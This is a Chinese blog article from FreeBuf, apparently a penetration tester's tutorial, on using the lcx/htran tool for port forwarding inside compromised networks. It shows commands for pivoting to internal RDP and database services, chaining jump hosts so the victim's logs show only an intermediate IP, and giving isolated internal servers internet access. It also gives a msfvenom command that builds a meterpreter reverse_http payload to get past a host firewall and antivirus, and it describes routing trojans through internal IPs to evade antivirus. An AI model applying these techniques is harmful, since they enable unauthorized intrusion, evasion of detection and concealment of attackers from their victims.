*原创作者:ForWhat,本文属FreeBuf原创奖励计划,未经许可禁止转载
记得刚开始接触黑客技术的时候是2014年,那时候struts2漏洞利用工具正流行,当时也下载了一个玩玩,上传了很多的菜刀木马,不过这时候就有个问题:无法连接到被控制计算机的3389。百度一下,原来对面的服务器是在内网中,没有做映射是连接不到的,但是可以借助一个工具进行端口转发来实现连接处于内网的3389服务器,原文链接(百度搜索lcx第一条出现的): http://sec.chinabyte.com/225/8848725.shtml 随着时间的推移,对于这个工具的认识也在不断加深中,现在我来分享一下。第一次写文章,有些错误欢迎大牛指正,中间会有些感(fei)悟(hua)不想看的可以直接看进阶篇,高级篇或者总结。
那篇文章大概意思是说连接内网的3389需要4步:
1:确定被控制计算机的内网ip
2:被控制的计算机执行”lcx -slave你的计算机ip 51被控制计算机的ip 3389”
3:本机执行”lcx -listen 51 10000”
4:用mstsc连接“127.0.0.1:10000”
看完这篇文章lcx给我的第一印象就是用来连接内网服务器的3389,不过其实这只是冰山一角。
随着对网络的认识不断深入我发现上面那篇文章其实有些地方可以改进,原文的意思就是如何连接处于内网中被控制的计算机,所以可以用以下步骤实现:
前提 :你的计算机处于 公网 ,被控制的计算机 能访问外网
1:本机执行”lcx –listen 40050 10000”
2:被控制的计算机执行”lcx -slave你的ip端口127.0.0.1 3389”
3:用mstsc连接“127.0.0.1:10000”
有些新手可能会好奇为啥slave的第三个参数是127.0.0.1这里先看下lcx的使用帮助:
======================== HUC Packet TransmitTool V1.00 =======================
=========== Code by lion & bkbll, Welcometo [url] http://www.cnhonker.com [/url] ==========
[Usage of Packet Transmit:]
lcx-<listen|tran|slave> <option> [-log logfile]
[option:]
-listen <ConnectPort> <TransmitPort>
-tran<ConnectPort> <TransmitHost> <TransmitPort>
-slave <ConnectHost> <ConnectPort> <TransmitHost><TransmitPort>
Lcx有两大功能,一个是端口转发(listen和slave成对使用),另一个是端口映射(tran)。
端口转发:
Lcx -Listen <监听slave请求的端口(对应slave的第二个参数)> <等待连接的端口>
Lcx -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>
所以既然我们只需要连接那台服务器,我们只需要设置目标ip参数为127.0.0.1就好了(127.0.0.1 Localhost即本机)因为别忘了slave是在对面服务器执行的。当然了这里补充一点目标端口号是可以换的比如3306这样你就可以连接对面的MySQL数据库了。有些人肯定要问了如果把这个127.0.0.1换成其他的ip会怎么样,如果你尝试过了那么恭喜你发现了新功能,你可以访问更多的3389。
1、本机执行lcx -listen 40050 10000
2、被控制服务器执行lcx -slave 1.1.1.1 40050 10.10.0.3 3389
3 、连接成功之后中间就出现了一条通道,可以互相传输数据
4、我们打开mstsc输入127.0.0.1:10000
Ok,这样我们就能访问内网的其他机子了,理论上来说被控制的服务器能访问到的我们都能访问,其实就是以被攻击的服务器做跳板。扩展一点讲,还记得listen的参数么?第一个是监听slave请求的端口,另一个监听端口,这个监听端口我们可以访问,当然别人也可以访问(一般用来共享)。
在1.1.1.1做好监听并且对面执行slave且成功的话1.1.1.2和1.1.1.3就可以用mstsc连接1.1.1.1:10000来访问到对面10.10.0.3的3389了
端口映射:
Lcx -tran <等待连接的端口> <目标ip> <目标端口>
上面的端口转发中我们的前提是在公网中,但是大部分情况下我们的电脑都是接着路由器的所以我们需要设置映射,当然了是在路由器上设置,我拿我的路由器做下演示:
不同人的路由器上的显示可能不一样,也可能是端口映射或者NAT。总之看到类似的就差不多了,不过有些路由器可能没有外部端口和内部端口之分,这样的都是等端口映射,类似于Lcx -tran中<等待连接的端口>和<目标端口一样>,上面的是我的路由器。
关于路由器映射的就画一张图就能解决:
1、192.168.0.10监听40000端口
2、对面的服务器执行slave穿过防火墙经过internet访问到路由器的40050端口,然后路由器根据规则将40050的数据映射到内网192.168.0.10的40000上,这样连接就建立成功了
3、连接192.168.0.10:50000
这样就能访问到对面10.10.0.3的3389 不太理解的朋友可以参照图1 2 3 4
Lcx -tran 1920 127.0.0.1 21
这样我访问本机的1920端口就能访问到本机的ftp了,当然把127.0.0.1换成其他的ip都可以。
有些朋友可能会说基础篇中tran就出现了一次,不过在这里会出现四次 ok ,进入正题,一般来说我们进行渗透的时候都需要注意自身的安全,最基础的保护就是隐藏自己的ip。说到隐藏ip许多朋友会想到用代理或者vpn,这里呢我们就说用lcx,当然会涉及到代理服务器,看过基础篇的朋友的应该可以直接看懂下面的图。
前提 :你拥有一台 公网 的服务器,或者有网关权限的内网机器(不知道说的对不对总之就是可以设置端口映射,让外网可以直接访问到内网的机器),你需要连接的是一台 公网 机器
一般来说用Tran来隐藏访问公网机器或者有网关权限的内网机器
1、如果你拥有公网机器
1、被控制的服务器运行tran 50000 3.3.3.3 3389
2、我们连接2.2.2.2:50000这样我们就能连接到3.3.3.3的3389了,此时我们打开cmd窗口运行netstat –an | find “3389”会惊奇的发现
TCP 3.3.3.3:3389 2.2.2.2:xxxxx ESTABLISHED
连接本机3389端口的是2.2.2.2这样对面记录到的连接信息都是2.2.2.2的,除非对面拿下2.2.2.2才能看到是谁连接了3.3.3.3
2、如果你拥有取得网关权限的内网机器
比刚刚多的就是一个内网出口需要做个映射,就像前面给自己的路由器上面做映射一样,这里要注意了一般来说内网的环境都是挺复杂的所以一般来说想实现上面的话比较困难,推荐用公网机器做跳板,当然了大牛自然有方法拿到网关权限。
通常情况下我们需要连接内网中的机器,也就是需要在被控制的机器上运行slave,那怎么隐藏呢,可能有些小伙伴已经想到了,参照前面的图5可以看出我们只需在跳板上执行listen之后连接就好了。当然了如果跳板在内网同上设置映射。还有 内网机器能访问外网 。
这样对面看到的连接请求都是来自2.2.2.2的。
然后展示一张比较完整的图。
我们拿到了对面一台内网的机子,这里我是在对面的服务器上开了socks代理或者vpn然后我们拥有两台有网关权限的跳板。最终结果是对面你的记录都来自3.3.3.3,可事实上飞的老远了……
先做好几个映射,一个是3.3.3.3上面的50000端口映射到172.25.0.2的30000端口还有个是2.2.2.2上面做两个映射40000端口映射到172.24.0.2的40050端口,65532端口映射到172.24.0.2的50000端口
1、在172.25.0.2上执行lcx –tran 30000 2.2.2.2 40000
2、在172.24.0.2上执行lcx –listen 40050 50000
3、在10.10.0.2上执行lcx –slave 3.3.3.3 50000 127.0.0.1 1080
4、最后我们连接2.2.2.2:65532
看起来似乎有点复杂,讲下流程:在执行第三步的时候10.10.0.2发起了slave请求先穿过自己的防火墙访问到3.3.3.3的50000端口,接着3.3.3.3把数据映射到内网172.25.0.2的30000端口上,因为172.25.0.2运行了tran 30000 2.2.2.2 40000所以172.25.0.2会把数据映射到2.2.2.2的40000端口上,先穿过自己的防火墙到达2.2.2.2的40000端口,最后2.2.2.2把40000端口的数据映射到172.24.0.2的40050端口,至此连接成功。然后我们的192.168.0.10经过各种proxy、vpn、tor什么的连接2.2.2.2的65532端口就可以连接到172.24.0.2的50000端口,最后到达10.10.0.2的1080端口。
我已经放弃追查了。
能看完这么绕的话先感谢下,然后你认为这就完了?
在内网渗透的过程中会遇到各种环境,那lcx又会怎样发挥呢?
这里先讲一下我对正向连接和反向连接的理解:其实没有所谓的正向和反向,只有谁连接谁罢了。A→B对于我们来说我们正向连接了B,但是在B看来我们是反向连接了它同理B→A在对面看来就是B正向连接了A。理解了这一点看下面的内容可能会比较方便。
假设1:
1、你获得了一台DMZ区域的服务器(外网ip 2.2.2.2内网ip 10.10.0.2),可以这么理解:那台服务器所有开放的端口我们都能直接连接,当然了我们可以直接连接3389上去
2、这台服务器不能直接访问外网,你也没有拿下出口点。
3、对面的内网没有一台服务器能直接访问外网
在上面的情况中我们怎样才能让10.10.0.2上网呢,当然了如果这台服务器能连接外网的话,你就可以让对面所有的内网机器都能上网。联系前面讲的,可能有些朋友已经想到了。
先补充下192.168.0.10开了代理服务器,然后有些朋友注意到了这个slave是在本机上执行的,为什么要这么执行,前面的假设中讲到了这个10.10.0.2是不能直接访问外网的,不过可以开端口而且别人都可以连接,可能受到以前的影响,认为slave都是在对面执行的,其实不然,有些特殊情况是可以反过来用的:对面开监听我们执行slave,在对面我们看来是反向连接了,但是在我们看来我们是去正向连接的(就像你直接访问对面的3389),防火墙也不会拦截,这样这可以连接成功,然后对面使用代理工具连接10.10.0.2的1080端口就可以访问外网了。当然了也可以在10.10.0.2上开个代理服务器然后使用二级代理功能。不过用不用都无所谓反正对面只需要访问10.10.0.2:1080就可以访问到外面的世界了。
假设2:
1、你拿下了两台内网服务器A和B
2、服务器B不能访问任何机器(自己的话当然可以了),只能让别人访问
遇到这种情况比较好处理,只需参考上面一个假设就能上网了,B开listen,A执行slave这样一来所有的请求ip都是127.0.0.1。
再说一个实例:
有一次渗透中遇到了一个比较蛋疼的情况,有一台服务器我3389上去了但是上面有一个防火墙软件,有个特性:允许连接内网的请求,不能直接访问外网。我的目的是抓密码。然后我上传了/bind_tcp和_bind_tcp,/reverse_tcp和_reverse_tcp都被杀了,然后上传mimikatz2.1也被杀了(wce getpass…),然后无奈试了下http居然没有被杀,但是http和https只有reverse没有bind,所以这种情况就可以使用一个映射来实现,拿一台能访问外网的内网服务器(10.10.0.2)做个映射(lcx –tran 50000 2.2.2.2 40000),然后用msfvenom生成一个攻击荷载
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.0.2 LPORT=50000 -f exe > temp.exe
注意meterpreter后面是”_“这样可以少传输很多数据避免bug,具体的“/”和“_”的区别参照书籍。这样就可以绕过对面的防火墙了(偷懒不画图了)。
有些杀软有个特性会根据网络连接来拦截,只要是连接内网的就不会拦截,我之前种过一个木马,只不过远控是放在对面内网的一台服务器上面的,所以木马的连接ip是一个内网ip然后就能直接打开了木马没有做任何免杀就绕过了两个杀软。当然了如果你想让木马连接到你的电脑只需要把那个远控关了执行个映射就好了。这样就能上线到你的电脑上了。联想一下用这样的方法也可以让被控制的人查不到控制者的真实ip。把连接ip改为某个公网ip然后做个映射就好了。这样被控制的计算机上的ip显示的都是公网的(偷懒还是不画图了)。
Lcx可以用来渗透内网,也可以用来隐藏自己,还可以让不能访问外网的服务器访问外网,甚至可以用来绕过某些防火墙(杀软)。
1、感谢能坚持从头看到尾的读者。
2、希望刚入门的朋友可以多参照这篇文章使用lcx来进行内网渗透。
3、 在这要为这个东西正名,其全名是 Socket data transporttool ,而根据代码注释中 [bkbll@mobile socket]$ gcc -o trtool trtool.c 这一句,可以看到其原来的名字应该是 trtool ,而且是红盟的前辈 bkbll 所写,所谓的 lcx.exe 其实是 lcx 根据 lion 的代码所修改编译过的 htran ,所以这个工具其实不应该叫 lcx ,不过为了配合大家的习惯这么叫而已,可以看作是简化版本吧。
4、 后记第三条最后一个逗号之前的所有内容来自互联网。
5、关于lcx的映射功能,windows自带的netsh也可以做到,但是需要管理员权限,有个优点重启之后还存在。相关命令(管理员权限):
1:查看端口映射情况netsh interface portproxy show v4tov4
2:添加一个端口映射netsh interface portproxy add v4tov4listenport=40050 connectaddress=192.168.1.10 connectport=50000
3:删除一个端口映射netshinterface portproxy delete v4tov4 40050(监听端口号)
6、高级篇讲的似乎不高级但是希望读者可以多思考。
7、关于图片中的英文,由于软件的问题,用中文有些问题所以用1级英语表达了一下……
8、写在最后可以让直奔评论区的人可以看到,很多人肯定会说在内网开个代理或者VPN,然后转发出来不就好了,对于这样的人我不想多说。
9、再次感谢能坚持从头看到尾的读者。
有兴趣的同学可以联系作者深入交流,QQ号:351390754
*原创作者:ForWhat,本文属FreeBuf原创奖励计划,未经许可禁止转载